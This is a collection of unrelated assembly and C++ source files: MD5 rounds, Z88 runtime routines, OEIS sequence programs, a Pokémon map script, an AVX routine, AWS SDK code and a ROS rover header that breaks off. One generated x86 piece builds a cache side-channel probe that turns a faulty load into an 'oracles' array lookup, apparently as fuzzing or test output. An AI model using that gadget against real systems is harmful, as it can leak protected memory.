mov ebp,DWORD [44+esi]
add edx,edi
mov edi,eax
rol edx,11
add edx,eax
; R2 34
xor edi,ebx
xor edi,edx
lea ecx,[1839030562+ebp*1+ecx]
add ecx,edi
rol ecx,16
mov ebp,DWORD [56+esi]
mov edi,edx
; R2 35
lea ebx,[4259657740+ebp*1+ebx]
add ecx,edx
xor edi,eax
xor edi,ecx
mov ebp,DWORD [4+esi]
add ebx,edi
mov edi,ecx
rol ebx,23
add ebx,ecx
; R2 36
xor edi,edx
xor edi,ebx
lea eax,[2763975236+ebp*1+eax]
add eax,edi
rol eax,4
mov ebp,DWORD [16+esi]
mov edi,ebx
; R2 37
lea edx,[1272893353+ebp*1+edx]
add eax,ebx
xor edi,ecx
xor edi,eax
mov ebp,DWORD [28+esi]
add edx,edi
mov edi,eax
rol edx,11
add edx,eax
; R2 38
xor edi,ebx
xor edi,edx
lea ecx,[4139469664+ebp*1+ecx]
add ecx,edi
rol ecx,16
mov ebp,DWORD [40+esi]
mov edi,edx
; R2 39
lea ebx,[3200236656+ebp*1+ebx]
add ecx,edx
xor edi,eax
xor edi,ecx
mov ebp,DWORD [52+esi]
add ebx,edi
mov edi,ecx
rol ebx,23
add ebx,ecx
; R2 40
xor edi,edx
xor edi,ebx
lea eax,[681279174+ebp*1+eax]
add eax,edi
rol eax,4
mov ebp,DWORD [esi]
mov edi,ebx
; R2 41
lea edx,[3936430074+ebp*1+edx]
add eax,ebx
xor edi,ecx
xor edi,eax
mov ebp,DWORD [12+esi]
add edx,edi
mov edi,eax
rol edx,11
add edx,eax
; R2 42
xor edi,ebx
xor edi,edx
lea ecx,[3572445317+ebp*1+ecx]
add ecx,edi
rol ecx,16
mov ebp,DWORD [24+esi]
mov edi,edx
; R2 43
lea ebx,[76029189+ebp*1+ebx]
add ecx,edx
xor edi,eax
xor edi,ecx
mov ebp,DWORD [36+esi]
add ebx,edi
mov edi,ecx
rol ebx,23
add ebx,ecx
; R2 44
xor edi,edx
xor edi,ebx
lea eax,[3654602809+ebp*1+eax]
add eax,edi
rol eax,4
mov ebp,DWORD [48+esi]
mov edi,ebx
; R2 45
lea edx,[3873151461+ebp*1+edx]
add eax,ebx
xor edi,ecx
xor edi,eax
mov ebp,DWORD [60+esi]
add edx,edi
mov edi,eax
rol edx,11
add edx,eax
; R2 46
xor edi,ebx
xor edi,edx
lea ecx,[530742520+ebp*1+ecx]
add ecx,edi
rol ecx,16
mov ebp,DWORD [8+esi]
mov edi,edx
; R2 47
lea ebx,[3299628645+ebp*1+ebx]
add ecx,edx
xor edi,eax
xor edi,ecx
mov ebp,DWORD [esi]
add ebx,edi
mov edi,-1
rol ebx,23
add ebx,ecx
;
; R3 section
; R3 48
xor edi,edx
or edi,ebx
lea eax,[4096336452+ebp*1+eax]
xor edi,ecx
mov ebp,DWORD [28+esi]
add eax,edi
mov edi,-1
rol eax,6
xor edi,ecx
add eax,ebx
; R3 49
or edi,eax
lea edx,[1126891415+ebp*1+edx]
xor edi,ebx
mov ebp,DWORD [56+esi]
add edx,edi
mov edi,-1
rol edx,10
xor edi,ebx
add edx,eax
; R3 50
or edi,edx
lea ecx,[2878612391+ebp*1+ecx]
xor edi,eax
mov ebp,DWORD [20+esi]
add ecx,edi
mov edi,-1
rol ecx,15
xor edi,eax
add ecx,edx
; R3 51
or edi,ecx
lea ebx,[4237533241+ebp*1+ebx]
xor edi,edx
mov ebp,DWORD [48+esi]
add ebx,edi
mov edi,-1
rol ebx,21
xor edi,edx
add ebx,ecx
; R3 52
or edi,ebx
lea eax,[1700485571+ebp*1+eax]
xor edi,ecx
mov ebp,DWORD [12+esi]
add eax,edi
mov edi,-1
rol eax,6
xor edi,ecx
add eax,ebx
; R3 53
or edi,eax
lea edx,[2399980690+ebp*1+edx]
xor edi,ebx
mov ebp,DWORD [40+esi]
add edx,edi
mov edi,-1
rol edx,10
xor edi,ebx
add edx,eax
; R3 54
or edi,edx
lea ecx,[4293915773+ebp*1+ecx]
xor edi,eax
mov ebp,DWORD [4+esi]
add ecx,edi
mov edi,-1
rol ecx,15
xor edi,eax
add ecx,edx
; R3 55
or edi,ecx
lea ebx,[2240044497+ebp*1+ebx]
xor edi,edx
mov ebp,DWORD [32+esi]
add ebx,edi
mov edi,-1
rol ebx,21
xor edi,edx
add ebx,ecx
; R3 56
or edi,ebx
lea eax,[1873313359+ebp*1+eax]
xor edi,ecx
mov ebp,DWORD [60+esi]
add eax,edi
mov edi,-1
rol eax,6
xor edi,ecx
add eax,ebx
; R3 57
or edi,eax
lea edx,[4264355552+ebp*1+edx]
xor edi,ebx
mov ebp,DWORD [24+esi]
add edx,edi
mov edi,-1
rol edx,10
xor edi,ebx
add edx,eax
; R3 58
or edi,edx
lea ecx,[2734768916+ebp*1+ecx]
xor edi,eax
mov ebp,DWORD [52+esi]
add ecx,edi
mov edi,-1
rol ecx,15
xor edi,eax
add ecx,edx
; R3 59
or edi,ecx
lea ebx,[1309151649+ebp*1+ebx]
xor edi,edx
mov ebp,DWORD [16+esi]
add ebx,edi
mov edi,-1
rol ebx,21
xor edi,edx
add ebx,ecx
; R3 60
or edi,ebx
lea eax,[4149444226+ebp*1+eax]
xor edi,ecx
mov ebp,DWORD [44+esi]
add eax,edi
mov edi,-1
rol eax,6
xor edi,ecx
add eax,ebx
; R3 61
or edi,eax
lea edx,[3174756917+ebp*1+edx]
xor edi,ebx
mov ebp,DWORD [8+esi]
add edx,edi
mov edi,-1
rol edx,10
xor edi,ebx
add edx,eax
; R3 62
or edi,edx
lea ecx,[718787259+ebp*1+ecx]
xor edi,eax
mov ebp,DWORD [36+esi]
add ecx,edi
mov edi,-1
rol ecx,15
xor edi,eax
add ecx,edx
; R3 63
or edi,ecx
lea ebx,[3951481745+ebp*1+ebx]
xor edi,edx
mov ebp,DWORD [24+esp]
add ebx,edi
add esi,64
rol ebx,21
mov edi,DWORD [ebp]
add ebx,ecx
add eax,edi
mov edi,DWORD [4+ebp]
add ebx,edi
mov edi,DWORD [8+ebp]
add ecx,edi
mov edi,DWORD [12+ebp]
add edx,edi
mov DWORD [ebp],eax
mov DWORD [4+ebp],ebx
mov edi,DWORD [esp]
mov DWORD [8+ebp],ecx
mov DWORD [12+ebp],edx
cmp edi,esi
jae NEAR L$000start
pop eax
pop ebx
pop ebp
pop edi
pop esi
ret
|
; Z88 Small C+ Run Time Library
; Long functions
;
; djm 21/2/99
; The old routine is fubarred! Written a new one now..but
; I'm mystified!
XLIB l_long_sub
; dehl = primary
; stack = secondary, ret
; exit: dehl = secondary - primary
.l_long_sub
; 100 cycles
pop ix ; ix = ret address
ld c,l
ld b,h ; bc = primary LSW
pop hl ; hl = secondary LSW
or a
sbc hl,bc
ex de,hl ; de = result LSW
ld c,l
ld b,h ; bc = primary MSW
pop hl ; hl = secondary MSW
sbc hl,bc
ex de,hl ; dehl = result
jp (ix)
; 131 cycles
; exx ;2nd
; pop bc
; pop hl
; pop de
; push bc
; ld a,l
; exx
; sub l
; ld l,a
; exx ;1st
; ld a,h
; exx ;2nd
; sbc a,h
; ld h,a
; exx ;1st
; ld a,e
; exx '2md
; sbc a,e
; ld e,a
; exx ;1st
; ld a,d
; exx ;2nd
; sbc a,d
; ld d,a
; ret
IF ARCHAIC
; 174 cycles
.l_long_add
ld b,h ;store lower 16 in bc temporarily
ld c,l
ld hl,2
add hl,sp ;points to hl on stack
ld a,c
sub a,(hl)
inc hl
ld c,a
ld a,b
sbc a,(hl)
inc hl
ld b,a
ld a,e
sbc a,(hl)
inc hl
ld e,a
ld a,d
sbc a,(hl)
ld d,a
;Done the adding, now do some tidying up!
exx
pop bc ;return address
pop hl ;discard entry long
pop hl
push bc ;dump return address back
exx
ld l,c ;get the lower 16 back into hl
ld h,b
ret
ENDIF
|
; A116847: Number of permutations of length n which avoid the patterns 123, 51432.
; Submitted by Simon Strandgaard
; 1,2,5,14,41,119,336,924,2492,6636,17536,46137,121095,317434,831571,2177734,5702191,14929519,39087182,102332996,267912946,701407172,1836310110,4807524929,12586266701,32951277474,86267568321,225851430414,591286726197,1548008751831,4052739533356,10610209852732,27777890029800,72723460242124,190392490702556,498454011872089,1304969544920851,3416454622898234,8944394323782287,23416728348457766,61305790721600891,160500643816355567,420196140727477290,1100087778366088644,2880067194370801886
mov $3,1
lpb $0
sub $0,1
add $2,$5
add $3,$2
add $4,$3
add $1,$4
add $5,$2
add $5,1
lpe
mov $0,$1
add $0,1
|
; A226203: a(5n) = a(5n+3) = a(5n+4) = 2n+1, a(5n+1) = 2n-3, a(5n+2) = 2n-1.
; 1,-3,-1,1,1,3,-1,1,3,3,5,1,3,5,5,7,3,5,7,7,9,5,7,9,9,11,7,9,11,11,13,9,11,13,13,15,11,13,15,15,17,13,15,17,17,19,15,17,19,19,21,17,19,21,21,23,19,21,23,23,25,21,23,25,25
lpb $0
mov $2,$0
trn $0,5
seq $2,131138 ; a(n)=log_3(A131137(n)).
sub $2,3
mov $3,$2
min $3,1
add $1,$3
lpe
mul $1,2
add $1,1
mov $0,$1
|
; void __CALLEE__ HeapInfo_callee(unsigned int *total, unsigned int *largest, void *heap)
; 12.2006 aralbrec
XLIB HeapInfo_callee
LIB MAHeapInfo
.HeapInfo_callee
pop af
pop hl
push af
call MAHeapInfo
pop af
pop hl
ld (hl),c
inc hl
ld (hl),b
pop hl
ld (hl),e
inc hl
ld (hl),d
push af
ret
|
SFX_Triangle1_1_Ch1:
unknownnoise0x20 0, 81, 42
endchannel
|
;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
; PERFORMANCE OF THIS SOFTWARE.
;
; .globl mul_cpx_mem
; void mul_cpx_mem(complex_num *in1, complex_num *in2, complex_num *out, size_t len);
; On entry:
; rcx = in1
; rdx = in2
; r8 = out
; r9 = len
.code
mul_cpx_mem PROC public
push rbx
sub rsp, 32
vmovaps xmmword ptr[rsp], xmm6
vmovaps xmmword ptr[rsp+16], xmm7
mov rax, rcx ; mov rax, inPtr1
mov rbx, rdx ; mov rbx, inPtr2
; mov rdx, outPtr (rdx already contains the out array)
mov r10, r9 ; mov r8, len
xor r9, r9
loop1:
vmovaps ymm0, [rax +8*r9]
vmovaps ymm4, [rax +8*r9 +32]
vmovsldup ymm2, ymmword ptr[rbx +8*r9]
vmulps ymm2, ymm2, ymm0
vshufps ymm0, ymm0, ymm0, 177
vmovshdup ymm1, ymmword ptr[rbx +8*r9]
vmulps ymm1, ymm1, ymm0
vmovsldup ymm6, ymmword ptr[rbx +8*r9 +32]
vmulps ymm6, ymm6, ymm4
vaddsubps ymm3, ymm2, ymm1
vmovshdup ymm5, ymmword ptr[rbx +8*r9 +32]
vmovaps [r8 +8*r9], ymm3
vshufps ymm4, ymm4, ymm4, 177
vmulps ymm5, ymm5, ymm4
vaddsubps ymm7, ymm6, ymm5
vmovaps [r8 +8*r9 +32], ymm7
add r9, 8
cmp r9, r10
jl loop1
vzeroupper
vmovaps xmmword ptr[rsp+16], xmm7
vmovaps xmmword ptr[rsp], xmm6
add rsp, 32
pop rbx
ret
mul_cpx_mem ENDP
end |
RuinsOfAlphHoOhChamber_MapScripts:
db 2 ; scene scripts
scene_script .CheckWall ; SCENE_DEFAULT
scene_script .DummyScene ; SCENE_FINISHED
db 1 ; callbacks
callback MAPCALLBACK_TILES, .HiddenDoors
.CheckWall:
special HoOhChamber
checkevent EVENT_WALL_OPENED_IN_HO_OH_CHAMBER
iftrue .OpenWall
end
.OpenWall:
prioritysjump .WallOpenScript
end
.DummyScene:
end
.HiddenDoors:
checkevent EVENT_WALL_OPENED_IN_HO_OH_CHAMBER
iftrue .WallOpen
changeblock 4, 0, $2e ; closed wall
.WallOpen:
checkevent EVENT_SOLVED_HO_OH_PUZZLE
iffalse .FloorClosed
return
.FloorClosed:
changeblock 2, 2, $01 ; left floor
changeblock 4, 2, $02 ; right floor
return
.WallOpenScript:
pause 30
earthquake 30
showemote EMOTE_SHOCK, PLAYER, 20
pause 30
playsound SFX_STRENGTH
changeblock 4, 0, $30 ; open wall
reloadmappart
earthquake 50
setscene SCENE_FINISHED
closetext
end
RuinsOfAlphHoOhChamberPuzzle:
refreshscreen
setval UNOWNPUZZLE_HO_OH
special UnownPuzzle
closetext
iftrue .PuzzleComplete
end
.PuzzleComplete:
setevent EVENT_RUINS_OF_ALPH_INNER_CHAMBER_TOURISTS
setevent EVENT_SOLVED_HO_OH_PUZZLE
setflag ENGINE_UNLOCKED_UNOWNS_X_TO_Z
setmapscene RUINS_OF_ALPH_INNER_CHAMBER, SCENE_RUINSOFALPHINNERCHAMBER_STRANGE_PRESENCE
earthquake 30
showemote EMOTE_SHOCK, PLAYER, 15
changeblock 2, 2, $18 ; left hole
changeblock 4, 2, $19 ; right hole
reloadmappart
playsound SFX_STRENGTH
earthquake 80
applymovement PLAYER, RuinsOfAlphHoOhChamberSkyfallTopMovement
playsound SFX_KINESIS
waitsfx
pause 20
warpcheck
end
RuinsOfAlphHoOhChamberAncientReplica:
jumptext RuinsOfAlphHoOhChamberAncientReplicaText
RuinsOfAlphHoOhChamberDescriptionSign:
jumptext RuinsOfAlphHoOhChamberDescriptionText
RuinsOfAlphHoOhChamberWallPatternLeft:
opentext
writetext RuinsOfAlphHoOhChamberWallPatternLeftText
setval UNOWNWORDS_HO_OH
special DisplayUnownWords
closetext
end
RuinsOfAlphHoOhChamberWallPatternRight:
checkevent EVENT_WALL_OPENED_IN_HO_OH_CHAMBER
iftrue .WallOpen
opentext
writetext RuinsOfAlphHoOhChamberWallPatternRightText
setval UNOWNWORDS_HO_OH
special DisplayUnownWords
closetext
end
.WallOpen:
opentext
writetext RuinsOfAlphHoOhChamberWallHoleText
waitbutton
closetext
end
RuinsOfAlphHoOhChamberSkyfallTopMovement:
skyfall_top
step_end
RuinsOfAlphHoOhChamberWallPatternLeftText:
text "Patterns appeared"
line "on the walls…"
done
RuinsOfAlphHoOhChamberUnownText:
; unused
text "It's UNOWN text!"
done
RuinsOfAlphHoOhChamberWallPatternRightText:
text "Patterns appeared"
line "on the walls…"
done
RuinsOfAlphHoOhChamberWallHoleText:
text "There's a big hole"
line "in the wall!"
done
RuinsOfAlphHoOhChamberAncientReplicaText:
text "It's a replica of"
line "an ancient #-"
cont "MON."
done
RuinsOfAlphHoOhChamberDescriptionText:
text "A #MON that"
line "flew gracefully on"
para "rainbow-colored"
line "wings."
done
RuinsOfAlphHoOhChamber_MapEvents:
db 0, 0 ; filler
db 5 ; warp events
warp_event 3, 9, RUINS_OF_ALPH_OUTSIDE, 1
warp_event 4, 9, RUINS_OF_ALPH_OUTSIDE, 1
warp_event 3, 3, RUINS_OF_ALPH_INNER_CHAMBER, 2
warp_event 4, 3, RUINS_OF_ALPH_INNER_CHAMBER, 3
warp_event 4, 0, RUINS_OF_ALPH_HO_OH_ITEM_ROOM, 1
db 0 ; coord events
db 6 ; bg events
bg_event 2, 3, BGEVENT_READ, RuinsOfAlphHoOhChamberAncientReplica
bg_event 5, 3, BGEVENT_READ, RuinsOfAlphHoOhChamberAncientReplica
bg_event 3, 2, BGEVENT_UP, RuinsOfAlphHoOhChamberPuzzle
bg_event 4, 2, BGEVENT_UP, RuinsOfAlphHoOhChamberDescriptionSign
bg_event 3, 0, BGEVENT_UP, RuinsOfAlphHoOhChamberWallPatternLeft
bg_event 4, 0, BGEVENT_UP, RuinsOfAlphHoOhChamberWallPatternRight
db 0 ; object events
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xb039, %rsi
lea addresses_UC_ht+0x19029, %rdi
nop
xor %rbp, %rbp
mov $57, %rcx
rep movsl
nop
nop
inc %rbp
lea addresses_D_ht+0x7229, %r15
nop
dec %rcx
movb (%r15), %r13b
xor %r15, %r15
lea addresses_D_ht+0x1180d, %rcx
nop
nop
cmp %rbx, %rbx
mov (%rcx), %edi
nop
nop
nop
add %r15, %r15
lea addresses_A_ht+0x11b29, %rcx
nop
cmp $14630, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%rcx)
nop
nop
nop
xor $56134, %rdi
lea addresses_D_ht+0xbd19, %rbx
add %rsi, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, (%rbx)
nop
nop
nop
cmp $41298, %rsi
lea addresses_WC_ht+0x175c1, %rbp
cmp %rcx, %rcx
movups (%rbp), %xmm4
vpextrq $0, %xmm4, %rbx
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x1bd29, %rsi
lea addresses_UC_ht+0xc929, %rdi
inc %r10
mov $40, %rcx
rep movsb
nop
sub %r15, %r15
lea addresses_UC_ht+0xfb89, %rsi
nop
sub $63920, %rbp
mov $0x6162636465666768, %r15
movq %r15, %xmm7
and $0xffffffffffffffc0, %rsi
movaps %xmm7, (%rsi)
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x19929, %rbp
nop
nop
nop
nop
xor %rbx, %rbx
movups (%rbp), %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_WT_ht+0x1d598, %r13
nop
nop
nop
xor $15829, %r10
movb $0x61, (%r13)
nop
xor $29129, %r15
lea addresses_WT_ht+0x10f51, %rbx
nop
nop
cmp %r15, %r15
vmovups (%rbx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rbp
and %rdi, %rdi
lea addresses_WC_ht+0x509, %rbp
clflush (%rbp)
sub %rsi, %rsi
movw $0x6162, (%rbp)
nop
add $63688, %r13
lea addresses_WT_ht+0x3809, %rbx
nop
nop
add $16009, %rbp
movl $0x61626364, (%rbx)
nop
xor $58199, %rdi
lea addresses_A_ht+0xa029, %rsi
lea addresses_WC_ht+0x1a529, %rdi
nop
nop
nop
and $60763, %rbp
mov $51, %rcx
rep movsw
nop
nop
and $23504, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rcx
push %rdi
// Faulty Load
lea addresses_A+0xa529, %rcx
nop
nop
nop
nop
nop
cmp $16760, %r14
mov (%rcx), %edi
lea oracles, %r12
and $0xff, %rdi
shlq $12, %rdi
mov (%r12,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 2}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 10}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 2}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
; A180447: n appears 3n+1 times.
; 0,1,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8
lpb $0
sub $0,1
add $1,3
trn $0,$1
lpe
div $1,3
|
/*
* Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/ec2/model/BlobAttributeValue.h>
#include <aws/core/utils/xml/XmlSerializer.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/memory/stl/AWSStringStream.h>
#include <aws/core/utils/HashingUtils.h>
#include <utility>
using namespace Aws::Utils::Xml;
using namespace Aws::Utils;
namespace Aws
{
namespace EC2
{
namespace Model
{
BlobAttributeValue::BlobAttributeValue() :
m_valueHasBeenSet(false)
{
}
BlobAttributeValue::BlobAttributeValue(const XmlNode& xmlNode) :
m_valueHasBeenSet(false)
{
*this = xmlNode;
}
BlobAttributeValue& BlobAttributeValue::operator =(const XmlNode& xmlNode)
{
XmlNode resultNode = xmlNode;
if(!resultNode.IsNull())
{
XmlNode valueNode = resultNode.FirstChild("value");
if(!valueNode.IsNull())
{
m_value = HashingUtils::Base64Decode(StringUtils::Trim(valueNode.GetText().c_str()));
m_valueHasBeenSet = true;
}
}
return *this;
}
void BlobAttributeValue::OutputToStream(Aws::OStream& oStream, const char* location, unsigned index, const char* locationValue) const
{
if(m_valueHasBeenSet)
{
oStream << location << index << locationValue << ".Value=" << StringUtils::URLEncode(HashingUtils::Base64Encode(m_value).c_str()) << "&";
}
}
void BlobAttributeValue::OutputToStream(Aws::OStream& oStream, const char* location) const
{
if(m_valueHasBeenSet)
{
oStream << location << ".Value=" << StringUtils::URLEncode(HashingUtils::Base64Encode(m_value).c_str()) << "&";
}
}
} // namespace Model
} // namespace EC2
} // namespace Aws
|
#include <ros/ros.h>
// ROS libraries
#include <angles/angles.h>
#include <random_numbers/random_numbers.h>
#include <tf/transform_datatypes.h>
#include <tf/transform_listener.h>
// ROS messages
#include <std_msgs/Float32.h>
#include <std_msgs/Int16.h>
#include <std_msgs/UInt8.h>
#include <std_msgs/String.h>
#include <sensor_msgs/Joy.h>
#include <sensor_msgs/Range.h>
#include <geometry_msgs/Pose2D.h>
#include <geometry_msgs/Twist.h>
#include <nav_msgs/Odometry.h>
#include <apriltags_ros/AprilTagDetectionArray.h>
// Include Controllers
#include "PickUpController.h"
#include "DropOffController.h"
#include "SearchController.h"
#include "PIDController.h"
// To handle shutdown signals so the node quits
// properly in response to "rosnode kill"
#include <ros/ros.h>
#include <signal.h>
#include <string>
#include <vector>
using namespace std;
// Random number generator
random_numbers::RandomNumberGenerator* rng;
// Create controllers
PickUpController pickUpController;
DropOffController dropOffController;
SearchController searchController;
PIDController pidController;
// Mobility Logic Functions
void sendDriveCommand(double linearVel, double angularVel);
void openFingers(); // Open fingers to 90 degrees
void closeFingers();// Close fingers to 0 degrees
void raiseWrist(); // Return wrist back to 0 degrees
void lowerWrist(); // Lower wrist to 50 degrees
void mapAverage(); // constantly averages last 100 positions from map
// Numeric Variables for rover positioning
geometry_msgs::Pose2D currentLocation;
geometry_msgs::Pose2D currentLocationMap;
geometry_msgs::Pose2D currentLocationMovingAvg;
geometry_msgs::Pose2D currentLocationMovingAvgOld;
geometry_msgs::Pose2D currentLocationAverage;
geometry_msgs::Pose2D goalLocation;
geometry_msgs::Pose2D alternativeLocation;
geometry_msgs::Pose2D vectorToCenter;
geometry_msgs::Pose2D centerLocation;
geometry_msgs::Pose2D centerLocationMap;
